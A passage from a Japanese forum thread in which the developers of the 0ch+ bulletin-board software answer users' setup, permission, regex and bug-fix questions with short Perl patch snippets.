>>214
users.cgiには暗号化されたパスワードが保存されているので手動変更は難しいです
一応以下のようにして手動で暗号化することはできます
  require 'module/elves.pl';
  my $pass = 'zeroch'; # パスワード
  my $id = '0000000001'; # users.cgiのデータの1つ目の要素
  print GLORFINDEL->GetStrictPass($pass, $id);"

こちらの環境では再現が難しいので試せないのですが、>>41の解決法は試しましたか?

0ch+はパーミッションの扱いが雑なので、その辺整備して根本的に解決しないといけないかもしれませんね

216 :名無しさん@ぜろちゃんねるプラス:2012/11/11(日) 22:04:00.28 ID:NyyQjd7+0
NGワード二正規表現は使えませんか?
バージョンは0.6.5です。

217 :0ch+開発担当 ◆0chp.sx.ik :2012/11/11(日) 22:51:23.88 ID:dcNV72Tw0
>>216
NGワードに正規表現は使えません
必要であればmodule/wormtongue.plの208行目付近の
  if ($work =~ /\Q$word\E/) {

  if ($work =~ /$word/) {
に変えてください
ただし、Shift_JISで処理している分不具合が起こりやすいので、扱いには注意してください

218 :名無しさん@ぜろちゃんねるプラス:2012/11/11(日) 23:13:46.21 ID:NyyQjd7+0
ありがとうございます

219 :214:2012/11/26(月) 04:03:06.23 ID:lFoQGklk0
>>215
色々やってて返信遅れました。
出来ました。ありがとうございます。

220 :名無しさん@ぜろちゃんねるプラス:2012/12/04(火) 19:26:06.28 ID:1ZkyXau20
質問お願いします
この掲示板はfastcgiに対応してますか?

221 :0ch+開発担当 ◆0chp.sx.ik :2012/12/04(火) 19:39:48.63 ID:N8ZNQrJE0
>>220
実験はしていないので今のところ動作保証外ですが、初期化処理はしっかり
しているはずなのでFastCGIでもSpeedyCGIでも正常に動作はすると思います

222 :名無しさん@ぜろちゃんねるプラス:2012/12/04(火) 20:03:58.59 ID:1ZkyXau20
>>221
了解しました
ご返答ありがとうございました

223 :名無しさん@ぜろちゃんねるプラス:2012/12/07(金) 20:30:51.88 ID:QtPXmsqY0
質問です。
datファイルをインポートして、スレッドを表示させることはできますか?

224 :0ch+開発担当 ◆0chp.sx.ik :2012/12/07(金) 23:27:02.56 ID:1f1mQzWE0
>>223
可能です
まずインポート先の掲示板のフォルダ内のdatフォルダにインポートしたいdatファイルを入れて、
管理画面でその掲示板のスレッド一覧のページからsubject更新をすればdatが追加されます

225 :名無しさん@ぜろちゃんねるプラス:2012/12/08(土) 15:28:25.85 ID:8c7a4QpI0
>>224
返答ありがとうございます。出来ました。
重ね重ねの質問で大変申し訳ないのですが、もうひとつだけお答えしていただきたいです。
インポートしたdatファイルですが、スレッド一覧を表示する際に、スレの作成日時などでソートすることは可能でしょうか?
アップロードする順番、ファイル名の変更などを試してみたのですが、いまいち自分の思うようにスレッドの順番が入れ替わってくれません。

226 :0ch+開発担当 ◆0chp.sx.ik :2012/12/08(土) 16:29:08.62 ID:gtTqO90w0
>>225
最新の開発版ではインポートしたdatはソートされて追加されます
./test/module/baggins.plをdev-r364のもので差し替えるか、以下のURLのもので差し替えてください
http://svn.sourceforge.jp/svnroot/zerochplus/zerochplus/trunk/test/module/baggins.pl

あるいは、インポートしてからsubject.txtを手動でソートするという手もあります
datファイルの10桁の数字は作成日時を表しているので、逆順ソートをすれば新しいスレが最初に来るようになります
subject.txtを上書きしたあとは一度何かを書き込むか、管理画面の掲示板一覧からindex更新をしてください

227 :森田:2012/12/09(日) 12:34:25.39 ID:2UtjNIlY0
以前の『0ch』ページにアクセスできなくなっていたため
どうしようものか..とググるにググってたどり着きました。
素晴らしいプロジェクトの継続に感謝します。

先ほど、さくらサーバー(スタンダード)にぜろちゃんねるプラスを
いれさせて頂きました。管理画面とかの内容も新しくなっていて感動です。
2001-2011ってのに特に感動しましたね。w「おお!最近じゃないか」って。

さて、書き込みに10秒ほど時間がかかってしまいます。
普通は書き込みボタンを押してすぐに「書き込んでいます」ページが表示
されるものと思います。なぜでしょうか?

ご教示頂ければ嬉しいです。^^

228 :0ch+開発担当 ◆0chp.sx.ik :2012/12/09(日) 18:55:02.80 ID:uo4AJDjk0
>>227
情報が少ないので原因の特定はできませんが、
BBQなどのチェック処理でDNSに問い合わせる処理に時間がかかることがよくあります
他に10秒もかかるような処理は思いつきません

229 :名無しさん@ぜろちゃんねるプラス:2012/12/09(日) 19:34:16.17 ID:+g7hI3aA0
便乗致しますが、自分のところも書き込みに10秒ほどかかります
ここ一ヶ月ほどでひどくなってきています
サーバーの負荷はほとんどかかっていないのでやはりチェック処理かもしれませんね

230 :0ch+開発担当 ◆0chp.sx.ik :2012/12/10(月) 22:05:52.06 ID:xOEURhDs0
>>229
うーん、ログが肥大化している可能性もありますね
こちらでも一応検証・実験してみます

231 :名無しさん@ぜろちゃんねるプラス:2012/12/10(月) 22:13:11.52 ID:LOcI4EXY0
>>230
はい、お手数ですがよろしくお願いします

232 :森田:2012/12/10(月) 22:59:43.82 ID:C5vic+MU0
>>228
>BBQなどのチェック処理でDNSに問い合わせる処理

お返事ありがとうございます。
おっしゃるとおりでした。

「各種編集→制限設定→DNSBLチェック」を「スルーする」
にチェックを入れてみましたところ
書き込みがすぐ反映されるようになりました。感謝です。^^

またこちらの掲示板にお世話になることがあると思いますが、
どうぞ引き続きよろしくお願い致します。orz

p.s. 最近、管理画面の「index更新」等のボタンが左寄りになって
いましたね。作業が凄くしやすくなりました。どうもです。
さらに、「処理が成功しました」という表示も青色でカッコ良く
なっていたと思います。いろいろ感謝です。

233 :森田:2012/12/11(火) 08:41:19.92 ID:tYma141s0
質問があるのですが・・

「Samba待機」とは何でしょうか?
「Samba待機」は何のために実装されているのでしょうか?

ググっても、ヒットしたやつはリナックスとか
よく分からない文章でした。泣orz

あと、「高速書き込みモード」にチェックを入れると
どうなるんでしょうか?泣orz

234 :森田:2012/12/11(火) 09:44:27.88 ID:tYma141s0
毎度どうもです・・

「本文中URLへの自動リンク」のチェックをはずしたにも関わらず
本文中のhttp://で始まる文字列にリンクが張られてしまうのはなぜでしょうか?

インデックス更新、サブジェクト更新、情報更新、
上記のボタンは全て押して何回か試したのですが・・orz

235 :0ch+開発担当 ◆0chp.sx.ik :2012/12/11(火) 20:18:49.03 ID:B2cgqZbM0
>>233
>「Samba待機」とは何でしょうか?
「Samba24」というのは2chの規制機能のひとつです。
一定時間間隔での連続投稿を規制し、それでも連続投稿しようものなら
「奉仕活動」という名目で一定時間いっさいの書き込みができなくなります。
要するに2段構えの連投規制システムです。

2chの各板のindex.html最下部に「Samba24=30」のような表記がありますが、
これがSamba待機秒数で、1度書き込むと30秒間は書き込めないという意味です。

>「高速書き込みモード」
これは掲示板を普通に利用する分には使いません。
書き込み時にindex.htmlなどの更新をスキップする機能です。
書き込む必要のない「過去ログ倉庫」や、「2ch専用ブラウザ専用掲示板」などに使います。

>>234
URLへの自動リンクをOFFにした場合は、リンク禁止時間帯のみリンクされなくなります。
ほぼ無意味な機能なので常時ONでいいと思います。

236 :名無しさん@ぜろちゃんねるプラス:2012/12/13(木) 13:58:39.99 ID:vz4ZTRQU0
>>235
> 要するに2段構えの連投規制システム
なるほど〜凄く分かり易いです。呑み込めました。

> ほぼ無意味な機能なので常時ONでいいと思います。
了解です♪

いろいろどうもです。

p.s.
使っていて気付いた点があります。
BBSList画面の一番下に「カテゴリ更新」「情報更新「index更新」「削除」
のボタンが並んでますが、作業中に何回も「index更新」ボタンを押していたら
間違って「削除」ボタンを押してしまいました。

「お〜あぶねー!」っと思った次第です。
可能であればで結構ですので削除ボタンは右にしたほうが安全かもです。。

237 :0ch+開発担当 ◆0chp.sx.ik :2012/12/13(木) 19:28:20.44 ID:RqxDLGUA0
>>236
>削除ボタン
一応確認画面が出るようになっているはずですが、
確かにボタンも差別化しておいたほうがよさそうですね

238 :229:2012/12/13(木) 21:47:39.73 ID:yu601/W+0
書き込みが重かったのはBBXのせいでした
これ解除したら即座に書き込みされるようになりました

BBQとスパムちゃんぷるーは有効でも問題ありません
一応ご報告まで

239 :名無しさん@ぜろちゃんねるプラス:2012/12/14(金) 00:35:23.72 ID:NoF3alHA0
>>237
御一考よろしくっす〜

240 :名無しさん@ぜろちゃんねるプラス:2012/12/14(金) 07:43:29.94 ID:206Hy3mY0
test/admin.cgiにdigest認証をかけたいんですが、
test/admin/ammin.cgiとしても問題ないでしょうか?
何かパスの変更など必要ですか?

241 :0ch+開発担当 ◆0chp.sx.ik :2012/12/14(金) 19:59:57.00 ID:gAbSszpA0
>>240
階層を変更する場合は
○./mordor/sauron.pl
190行目付近のHTML中に2ヶ所書き換える部分があります。
$data = '/data' となっているので "..$data/admin.css" のように書き換えてください
○admin.cgi
先頭付近の use lib './perllib'; の直前に chdir '..'; を加えてください

amminは誤記だとは思いますが、ファイル名を変更する場合は
○./mordor/sauron.pl
210行目付近、sub PrintHead内に1ヶ所書き換える部分があります。

242 :240:2012/12/15(土) 02:56:23.18 ID:Vpym6N6Y0
>>241
ありがとうございます
では、やってみます

243 :森田:2012/12/16(日) 20:55:22.21 ID:w4ILjqWM0
質問があります。

「dat落ち」は限界を超えたら自動的に発動されるのでしょうか?
また「dat落ち」したものをHTML化するためにはどのような作業が必要なのでしょうか?

244 :0ch+開発担当 ◆0chp.sx.ik :2012/12/16(日) 21:18:35.43 ID:EBYFrmX60
>>243
スレッド一覧(subject.txt)のスレッド数が限界(subject最大保持数)を超えると、
自動的に一番下のスレッドから順番に一覧から外れ、datが「プール」に移されます(dat落ち)

dat落ちしたスレッドをHTML化(過去ログ化)するには、「プール」の画面で「過去ログ化」をしてください

245 :森田:2012/12/16(日) 22:26:05.47 ID:w4ILjqWM0
素早い対応に感謝です。了解です〜

246 :名無しさん@ぜろちゃんねるプラス:2012/12/18(火) 20:30:59.01 ID:AqO7N3Rw0
キャップグループの権限情報の項目に海外ホスト規制解除を追加することって出来ますか?

247 :0ch+開発担当 ◆0chp.sx.ik :2012/12/18(火) 21:36:44.57 ID:CO6LXcvc0
>>246
次のリリースで項目を追加しておきます

それまでの代替案として、海外ホスト規制を無効にして
普通のホスト規制で「(?!\.jp)...$」を追加するといいと思います

248 :246:2012/12/19(水) 07:59:40.75 ID:wECPc93s0
>>247
ありがとうございます。
bbtec.netも許可したい場合はその下に
(?!bbtec\.net)...$
って追加すればいいですか?

あともう一つ質問させて下さい。
>>226
のbaggins.plに差し替えたのですが、過去ログ倉庫のスレを同じように
スレッドキー順にソートすることって出来ますか?

249 :0ch+開発担当 ◆0chp.sx.ik :2012/12/19(水) 20:13:05.16 ID:SxuupeFA0
>>248
  (?!\.jp).{3}$
  (?!\.bbtec\.net).{10}$
ただ追加して上のようにしてしまうと「jp以外またはbbtec以外」が規制
つまり全ホスト規制することになってしまいます

「jpとbbtec以外」を「マッチする」形にするのは非常に難しいです
とは言いましたが、出来ました(笑)
  (?<!\.bbtec\.(?=net))(?!\.jp).{3}$

>過去ログ
0.6.5ではソート機能はありません
dev-r364ではバグで情報更新ができなくなっています
次のリリースで「情報更新」でソートされるようにしておきます
これもbbs/kako/kako.idxをソートして「index更新」すれば手動でもソート可能です
--
0

250 :0ch+開発担当 ◆0chp.sx.ik :2012/12/19(水) 21:30:03.81 ID:SxuupeFA0
正規表現がもっとわかりやすく追加しやすい形になりました
  (?<!\.jp)(?<!\.bbtec.net)\z
--
0

251 :246:2012/12/20(木) 11:17:55.59 ID:rJM+rDws0
>>250
ありがとうございます!出来ました。
--
2

252 :名無しさん@ぜろちゃんねるプラス:2012/12/24(月) 17:40:10.36 ID:Wybk/k/c0
質問ではなくて要望ですが、キャップでアクセス規制が回避できるような機能があると嬉しいです
--
0

253 :名無しさん@ぜろちゃんねるプラス:2012/12/24(月) 19:02:22.77 ID:L5Mo34qc0
投稿者の携帯やスマホの機種表示を表示させることってできますか?
--
0

254 :windyakin ★:2012/12/24(月) 19:41:34.96 ID:???0
>>252
次期リリースで導入します。

>>253
現在そのような機能はありません。
キャリアまでなら対応することも可能かと思いますが、
機種までは断定する方法が無いので、今後実装される予定もありません。
--
0

255 :名無しさん@ぜろちゃんねるプラス:2012/12/27(木) 17:32:38.33 ID:So+5Nbb60
私も一つ要望させて下さい。
NGワードの処理をワードごとにこの言葉は書き込み不可、
これはNGワード置換えみたいにできたら便利だと思うのですが、
よかったらご検討お願いします。

256 :0ch+開発担当 ◆0chp.sx.ik :2012/12/30(日) 13:22:01.60 ID:irW8+lb60
>>255
そのような機能を実装するにはかなりの変更が必要になるので
すぐには実装できませんが、いずれ実装しようと思います

257 :名無しさん@ぜろちゃんねるプラス:2012/12/31(月) 04:52:12.42 ID:PJFu2XmY0
お疲れ様です。
いろいろ、いろいろ新しくなってますね。

さて、一つお伺いしたいことがありまして…

ユーザ名でログイン後、右上の[掲示板]メニューをクリック、
さて、ここでいくつかの既存スレッド名がBBS Name 下に表示されていたとします。

そして、その下の[情報更新]ボタンをクリック、再び掲示板一覧を見ると…
リストから掲示板群が消えてませんか?

実際には、test/info/bbss.cgi の中身が飛んでいるようなのですが、
確か、前バージョンの挙動はこうではなかった気がするのですが…

258 :名無しさん@ぜろちゃんねるプラス:2012/12/31(月) 05:01:46.95 ID:PJFu2XmY0
書き忘れました。
>>257は、ぜろちゃんねるプラス 0.7.0 (新安定版)のお話です。

259 :0ch+開発担当 ◆0chp.sx.ik :2012/12/31(月) 12:41:26.55 ID:QgWDtf8U0
>>257
明らかにバグですね。
修正しておきました。

必要であれば ./module/nazguls.pl 300行目付近の
  next if ($_ =~ /^(.+?)=(.*)$/);

  next if ($_ !~ /^(.+?)=(.*)$/);
に書き換えてください

260 :名無しさん@ぜろちゃんねるプラス:2012/12/31(月) 15:49:09.20 ID:PJFu2XmY0
>>259
このボタンは、何かモジュールを入れ替えたとか特別なことがないと弄らないので、「あれ?」と思った次第です。
nazguls.pl を書き換えて直りました。素早い対応ありがとうございます。

261 :名無しさん@ぜろちゃんねるプラス:2013/01/01(火) 06:32:56.22 ID:B89rEyHQ0
0.7.0を使わせてもらっています。
過去ログ化する時に4桁と5桁のディレクトリの中にindex.htmlが生成されないみたい
なんですが、ご確認お願い出来ますでしょうか?

262 :0ch+開発担当 ◆0chp.sx.ik :2013/01/01(火) 18:48:45.19 ID:r0uuEE5U0
>>261
確認しました、確かにバグですね。
修正しておきました。

./module/celeborn.pl 360行目付近の
  foreach my $dir (@$pDirs) {

  foreach (@$pDirs) {
    my $dir = $_;
に書き換えてください

263 :261:2013/01/02(水) 02:38:18.91 ID:lkQEar1Q0
>>262
出来ました!ありがとうございました。

264 :名無しさん@ぜろちゃんねるプラス:2013/01/03(木) 15:53:24.74 ID:nh9bOcpQ0
すみません、プラグインを作る上でどうしても分からないことがあったので質問させていただきます。

もしも$xが0だったら$aをMESSAGEにセットしつつスレのパーミッションを444にして書き込み不可にしたいのですが

DATに$aが出力される前にパーミッションが変更されて$aすらも書き込めないで終わってしまします。
どうすれば$aを書き込みつつその後にパーミッションを444に変更できますかね。。。

265 :0ch+開発担当 ◆0chp.sx.ik :2013/01/03(木) 17:22:00.14 ID:Gt7ujhng0
>>264
現状ではプラグインが非常に作りにくい構造になっており、
ゴリ押しなプログラムを組まないことには複雑なことができません。

プラグインだけで組むのは無謀ですので、
本体のmoduleを適宜改造していただくしかないと思われます。

266 :名無しさん@ぜろちゃんねるプラス:2013/01/03(木) 17:25:48.67 ID:nh9bOcpQI
>>265

そうですか……
すみませんありがとうございます
頑張ってモジュール弄ってみます

267 :名無しさん@ぜろちゃんねるプラス:2013/01/05(土) 23:40:04.90 ID:9uboNNcY0
バージョンアップのため、ファイル群をアップロードした際
datas/2000000000.datのパーミッションが変更されてしまいました。suEXECでは0604で、良いのでしょうか?
read.cgiで存在しないスレッドキーが渡された場合、2000000000.datが読めずタイムアウトします。

関連はありませんが、r.cgiに存在しないスレッドキーが渡された場合、Internal Server Error(500)を返す事を
こちら(yakin.38-ch.net上)のr.cgiでも確認しました。


268 :名無しさん@ぜろちゃんねるプラス:2013/01/06(日) 16:17:01.01 ID:zwbX6LmU0
mordor/sys.setting.pl の572行目あたりにある、“ofuda.ccのアカウント名を入力”は、
“ofuda.ccのアカウント名の末尾に0000を付けて入力”にしないと、細長い魚のバナーになってしまい、
(2ちゃんねるに近付けたい場合は)うまくいかないような気がします。

気がするだけなのですが…
いまいち、ofuda.ccの仕様?通信規約?がよくわかりません。
相手 ofuda.cc がそれを変えてしまえば探りなおしなので。

269 :0ch+開発担当 ◆0chp.sx.ik :2013/01/06(日) 17:16:14.42 ID:tW6XWQZQ0
>>267
>suEXECでは0604で、良いのでしょうか?
それでいいはずです。

> 2000000000.datが読めずタイムアウトします。
こちらでは確認できませんでした。
再現性があるようでしたら、使用しているサーバーなど詳しい状況を教えて下さい。

>r.cgiが500を返す
どうやら本家0chの頃から存在したバグのようです。
r.cgi 56行目付近の
  PrintReadSearch(\%SYS, $Page, $err);

  PrintReadError(\%SYS, $Page, $err);
に置き換えてください。

>>268
確かに少しわかりにくいかもしれませんね。
文面の見直しなどを検討してみます。

270 :名無しさん@ぜろちゃんねるプラス:2013/01/06(日) 18:45:10.80 ID:W2M9GVgU0
>>269
レスありがとうございます。経緯としまして、2000000000.datはバージョンアップ前から
0604になっていて、アップロード時も0604だったと記憶しています。
検索エンジンのクローラーが、過去ログが存在しないURLを辿り(2〜3hit/sec)Gateway timeout(504)を
繰り返してApacheが落ちました。パーミッションの件は、リブート後0777になっていたため質問しました。

現時点でも、2000000000.datがread.cgiから開けず、ログやソースを追っています。
2000000000.datの読み込み時、module/gondor.plから呼ばれているとして(確信はありませんがchmod 0777, $szPathがあったので)
負荷とロック待ちで、意図していない挙動になっている可能性はないのでしょうか。個人的にこの読み込み時は、flock(2)ではなく、flock(1)が
良いのではないかと思います。的外れな指摘でしたら申し訳ありません。

サーバーは、Linux Kernel 2.6 x64 Apache2.2(worker) Perl 5.10.1 SpeedyCGI 2.22 です。

271 :0ch+開発担当 ◆0chp.sx.ik :2013/01/06(日) 19:25:35.23 ID:tW6XWQZQ0
>>270
>Apacheが落ちました。
症状からほぼ間違いなくデッドロック状態になっているようですね。
コマンドが実行できるなら「fuser -k (パス省略)/2000000000.dat」を試してみてください。

>flock(1)
もちろんそうすれば動作すると思いますが、datファイルが破壊される可能性を
できるだけ排除したかったため読み込み専用かどうかに関わらずflock(2)にしています。

272 :名無しさん@ぜろちゃんねるプラス:2013/01/06(日) 19:52:58.66 ID:W2M9GVgU0
>>271
レスありがとうございます。
>datファイルが破壊される可能性をできるだけ排除
そうですね、一番ダメージが大きいです。

fuser -kでデッドロックは解除できますが、再発するため404を
read.cgiにベタ書きしようと思います。ありがとうございました。

273 :0ch+開発担当 ◆0chp.sx.ik :2013/01/07(月) 20:07:42.47 ID:8RNGJvcI0
>>272
今更ですが、デッドロックの原因が判明しました。
そちらではSpeedyCGIを使用しているようですが、プロセスが終了しないために
ファイルがクローズされず、結果としてデッドロックが発生していたようです。

次のリリースで修正しておきますが、
必要であればread.cgiのsub PrintReadSearchの最後に
  $Dat->Close();
の1行を加えてください

274 :名無しさん@ぜろちゃんねるプラス:2013/01/08(火) 00:54:42.95 ID:QiYUOYO+0
>>269前半:
>r.cgiが500を返す
対策後で、存在しないスレッドキーでテストしたところ、1003というコードが返ってきました。
これは意味のあるコードなんでしょうけれど、ぱっと見でよくわからないので、
「404を返す」とかはどうしょう?

# 対象スレッドが見つからなかった場合は404を返す
if ($err == $ZP::E_PAGE_FINDTHREAD) {
$Page->Print("Status: 404 Not Found\n");
}

>>269後半:
「ofuda.ccのアカウント名を入力 (未入力でカウンター非表示)」 の下に、
「上記に付加される文字列」 というような、デフォルトで“0000”が入った
入力バーを追加しておくとかどうでしょうね?
0000を付けるっていうことは、相手は気分次第で文字列をいじってくるかもしれないですし。

275 :0ch+開発担当 ◆0chp.sx.ik :2013/01/08(火) 20:44:10.80 ID:98+4yVy+0
>>274
>404を返す
そうですね、そのようにしておきます。
r.cgiはまだまだ管理が行き届いていませんが、少しずつ改良していきたいと思います。

>入力バーを追加
この設定は見た目を2ch風に突き詰めた結果できたものなので、おまけ程度に考えてください。
ofuda.cc専用の設定というのは少し不恰好なので、将来的にはこの設定自体をなくして
全体的な拡張性を考えてテンプレートか新しいプラグインシステムを導入したいと考えています。

276 :名無しさん@ぜろちゃんねるプラス:2013/01/09(水) 08:56:52.15 ID:3XwsUs6A0
/log/に作られる***_old.cgiってたまに削除したほうがいいですか?
放っておくとサーバーに負担がかかったりしますか?

277 :0ch+開発担当 ◆0chp.sx.ik :2013/01/09(水) 20:47:28.86 ID:aliGGqhA0
>>276
*_oldログは肥大化してもおそらく負荷はかからないはずです。
ただし溜まる一方なので、定期的に手動で削除するのがいいと思います。

278 :276:2013/01/10(木) 12:04:28.12 ID:XlEarNUk0
>>277
わかりました、ありがとうございます。

279 :名無しさん@ぜろちゃんねるプラス:2013/01/13(日) 01:26:51.57 ID:b+5lG9vUi
ぜろちゃんねるで「落ちないスレ」を作る事は出来るでしょうか?
スクリプト次第でしょうか?

280 :0ch+開発担当 ◆0chp.sx.ik :2013/01/13(日) 20:03:29.83 ID:jfaiNkpQ0
>>279
0ch本家でもプラスでも落ちないスレッドの機能はありません。
ですが、少し前にも話題になりましたが今後実装する予定です。

具体的には、スレッドに属性を付加できるシステムを導入することで
落ちないスレッドだけでなくいろんな機能が実装できると考えています。
・不落属性:下がるが落ちないスレッド
・不沈属性:下がらないため落ちないスレッド(924スレッド)

281 :名無しさん@ぜろちゃんねるプラス:2013/01/15(火) 22:51:05.36 ID:6h7vF0Z+0
初歩的なことかもしれないのですが質問させていただきます。

atpagesのサーバを借りてぜろちゃんねるプラスを設置しました。
掲示板の作成まではうまくいったのですが、その掲示板にスレッドを作成しようとすると、

404 Error - Not Found
指定されたページ(URL)は見つかりません。

と表示され、作成できません。

何が問題なのでしょうか。

なお、関係あるのかは分からないのですが、
パーミッション設定は、ffftpを使って、Wikiにある「一般的なレンタルサーバでの設定例」に、
基本設定のCGI設置ディレクトリは/testに、それぞれ設定してあり、
0chオリジナル設定の「掲示板読取専用」の欄は「書き込み可」を選んであります。

282 :0ch+開発担当 ◆0chp.sx.ik :2013/01/16(水) 19:49:24.94 ID:7azmKB+I0
>>281
>基本設定のCGI設置ディレクトリ
この設定が間違っています。「/ユーザー名/test」としてください。
その後掲示板一覧から「index更新」をしてください。

283 :名無しさん@ぜろちゃんねるプラス:2013/01/16(水) 20:36:24.75 ID:60MBPNBI0
>>282
ありがとうございます。

ご指摘の通り変更し、スレッドを作成しようとしたところ、今回は「書き込み確認&クッキー確認」の画面までは進めたのですが、
「上記全てを承諾して書き込む」をクリックすると、

500 Error - Internal Server Error
CGIもしくはSSIが正しく動作していません。

が表示され、エラーになってしまいます。
重ねてのことになりますがご指導をお願いします。

その下の、「以下の状況が考えられます」の一つにパーミッションの問題を指摘する文がありますが、
パーミッションの設定に問題があるのでしょうか?

パーミッションについて、ffftpから属性変更するものに関しては>>281の通りwikiにしたがい、
管理画面のシステム設定→パーミッション設定から設定するものに関しては、
wikiのパーミッションの設定の項に記述がなかったため、
0ch BBS Script (ver.4.xx) wikiの方のパーミッションの設定の項にある、基本的なパーミッションの通りに設定してあります。

284 :0ch+開発担当 ◆0chp.sx.ik :2013/01/16(水) 22:51:37.24 ID:7azmKB+I0
>>283
システム設定のパーミッション設定はそのままで動作します。
ファイルのパーミッションは最低限test/*.cgiを755にするだけで動作するはずです。

スレッド作成しようとするたびに「書き込み確認」ページがでますか?

285 :名無しさん@ぜろちゃんねるプラス:2013/01/16(水) 23:09:17.90 ID:60MBPNBI0
>>284
書き込み確認ページに飛ぶのは最初だけです。
以降は、「新規スレッド作成」をクリック→500エラー表示となります。
クッキーを削除すればまた書き込み確認ページが出ます。

一応、testディレクトリ下の*.cgiのパーミッションを755にして試してみましたが、同じく500エラーとなってしまうようです。

286 :0ch+開発担当 ◆0chp.sx.ik :2013/01/17(木) 20:55:53.30 ID:HRiGvZl20
>>285
一度0ch+のファイルをすべて削除してからアップロードし直して
*.cgiだけパーミッションを設定してください。
他のファイルは設定する必要ありません。

管理画面にログインしたら基本設定とパーミッション設定は
いじらずにデフォルトのままで試してみてください。

これでも同じようにエラーが出る場合はエラー内容を確認しない限り
こちらでこれ以上対処することはできません。

287 :名無しさん@ぜろちゃんねるプラス:2013/01/17(木) 22:03:06.22 ID:H7Rvxm2M0
>>286
作成できました!

削除&再アップロードを行い、なにも設定をいじらず掲示板作成→スレッド作成を行い、
読み取り専用とのエラーが出たため、0chオリジナル設定の掲示板読取専用だけ「書き込み可」に設定し、再度ためしたところ、成功しました。

ただ、現在上記とログインの設定以外は、ご指導いただいた通りなにも設定をいじっていない状態です。
パーミッションをいじらないのは危険にも思えるのですが、へたにいじってしまうとまたエラーが発生してしまうかもしれません。

各種パーミッションの設定等は、今後どの程度行えばよいものでしょうか?
ひとつひとつ設定していき、どのパーミッションが問題だったかを突き止めることもできなくはないかもしれませんが……

また、wikiで変更するよう記述のある基本設定に関しても、どの程度まで設定を変更してよいものでしょうか?

288 :0ch+開発担当 ◆0chp.sx.ik :2013/01/17(木) 23:48:53.50 ID:HRiGvZl20
>>287
>パーミッションをいじらないのは危険にも思えるのですが
そもそもファイルのパーミッションはアップロードした時点で大抵644になっているので
「基本的なパーミッション」では*.cgi以外のファイルをわざわざ設定し直す必要がありません。

セキュリティを考慮するのであれば「suEXEC対応サーバーでのパーミッション設定」の通りに設定してください。
ディレクトリとファイルのパーミッションは別ですので気をつけてください。これが原因だったかもしれません。
ちなみにperllibとplugin_confのディレクトリはすべて700、ファイルはすべて600です。

システム設定のパーミッション設定はセキュリティを考慮すれば上から順に
604 604 600 600 404 700 704 700 です。間違ってたらすみません。

289 :0ch+開発担当 ◆0chp.sx.ik :2013/01/17(木) 23:51:48.56 ID:HRiGvZl20
>基本設定に関して
0ch+では自動設定されるようになっているので基本的に変更する必要はありません。
本家0chとは少し違うので設定する際は気をつけてください。

290 :名無しさん@ぜろちゃんねるプラス:2013/01/18(金) 21:15:54.15 ID:Y0INKUlM0
>>288-289
なるほどそうでしたか。
うまく設定できました。

大変助かりました。ありがとうございます。

291 :名無しさん@ぜろちゃんねるプラス:2013/01/24(木) 16:33:35.10 ID:bczjQJZg0
お世話になっております
携帯用の最初のページで表示されるスレッドの数は変更できますでしょうか?
この板だとhttp://yakin.38-ch.net/zerochplus/i/のスレッド数です

292 :0ch+開発担当 ◆0chp.sx.ik :2013/01/24(木) 20:01:57.03 ID:o0baiZ7Q0
>>291
indexに表示されるスレッドの数はPC・携帯で共通の設定になっています。
掲示板設定->その他設定->indexスレッドプレビュー数 がその設定項目です。

携帯版のみ変更したい場合はmodule/varda.plの151行目付近の
  my $menuNum = $Set->Get('BBS_MAX_MENU_THREAD');

  my $menuNum = 20;
のように書き換えてください。

p.cgiにも同様の変更を施したい場合はp.cgiの242行目付近の
  $max = $start + $Set->Get('BBS_MAX_MENU_THREAD');
を同様に書き換えてください。

293 :名無しさん@ぜろちゃんねるプラス:2013/01/24(木) 20:15:37.26 ID:bczjQJZg0
>>292
ありがとうございます

無知で申し訳ないのですがmodule/varda.plとp.cgiの両方を変更する場合と
どちらか片方変更する場合はどう違うのでしょうか?

また携帯版にAASリンクが表示されますがこれを非表示にすることは可能でしょうか?

294 :293:2013/01/24(木) 20:38:43.94 ID:bczjQJZg0
AASの件は自己解決しました


295 :0ch+開発担当 ◆0chp.sx.ik :2013/01/24(木) 20:47:10.85 ID:o0baiZ7Q0
>>293
varda.plはindex.htmlの生成に関わっています。
indexから「続き」のリンクを辿るとp.cgiで続きのスレッドが一覧で表示されます。
例えばvarda.plのみ20に変更するとindexは20個表示されますが、
続きのページを見ると10個ずつしか表示されないといった状況になります。
両方書き換えておくのが無難でしょう。

AASのリンクを削除するならr.cgiの392行目付近の
  $Page->Print("<hr>[$n]$elem[0]</b>:$elem[2]<br><a href=\"$obama\">AAS</a><br>$elem[3]<br>\n");
の行から「<a href=\"$obama\">AAS</a><br>」を削ってください。

296 :名無しさん@ぜろちゃんねるプラス:2013/01/24(木) 20:51:37.93 ID:bczjQJZg0
>>295
なるほど
お忙しい中丁寧なご回答ありがとうございました
では一度やってみます

297 :名無しさん@ぜろちゃんねるプラス:2013/01/28(月) 17:53:17.79 ID:TEu6aF7k0
お世話になっております
ぜろちゃんねるのsearch.cgiの件ですが、当方では不要なのでこれを利用させないようにしたいと思っています
例えばsearch.cgiを削除した場合何か弊害が出たりしますでしょうか?

298 :windyakin ★:2013/01/28(月) 18:57:25.18 ID:???0
>>297
特にないです。消してくれて構いません。

299 :名無しさん@ぜろちゃんねるプラス:2013/01/28(月) 19:05:00.77 ID:TEu6aF7k0
>>298
了解しました
ご返答ありがとうございました

300 :名無しさん@ぜろちゃんねるプラス:2013/01/30(水) 03:49:05.17 ID:1auAeU4+0
xreaに設置した「ぜろちゃんねるプラス」をAndroidの2chMateから
外部板で読み込む所までは大丈夫だったのですが、
書き込みを行うと「302 Found」になってしまいました。
でも http://yakin.38-ch.net/stable/ こちらだと書き込み出来ます。
アップしてパーミッション設定してIDとパス変えて新しく板を作った
だけなのですが、「またテスト@1」は他にも何かしてるのでしょうか。

301 :名無しさん@ぜろちゃんねるプラス:2013/01/30(水) 03:50:41.00 ID:1auAeU4+0
すみません、↑ですが「BBS_READONLY=none」は設定しています。

302 :0ch+開発担当 ◆0chp.sx.ik :2013/01/31(木) 19:38:43.56 ID:59jNlei+0
>>300
板を設置した階層がマズイのではないでしょうか。
例えば、板 ttp://example.jp/path/bbs1/ を登録するとdatの読み込みはできますが、
書き込み時に適切なCGI ttp://example.jp/path/test/bbs.cgi にアクセスされないようです。

設置場所を一般的な階層に移動するか、他の類似アプリを使用するか、
それがダメなら2chMate開発者に改善要望を出すしかないと思います。

303 :名無しさん@ぜろちゃんねるプラス:2013/02/01(金) 15:13:57.08 ID:s58eN/460
おっしゃる通り階層の問題でした。
これで思うように使えます。
